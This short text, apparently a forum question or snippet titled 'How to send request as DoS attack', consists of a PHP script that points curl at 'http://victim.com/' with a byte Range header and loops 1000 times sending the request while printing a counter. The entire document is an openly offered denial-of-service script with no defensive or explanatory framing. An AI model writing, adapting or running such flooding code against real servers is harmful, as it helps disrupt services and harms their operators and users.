How to send request as DoS attack

<?php
    $ch = curl_init('http://victim.com/');
    curl_setopt($ch, CURLOPT_RANGE, '0-1');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    for($i = 0; $i < 1000; $i++) {
        curl_exec($ch);
        echo ($i+1) . "\n"; flush();
    }
    curl_close($ch);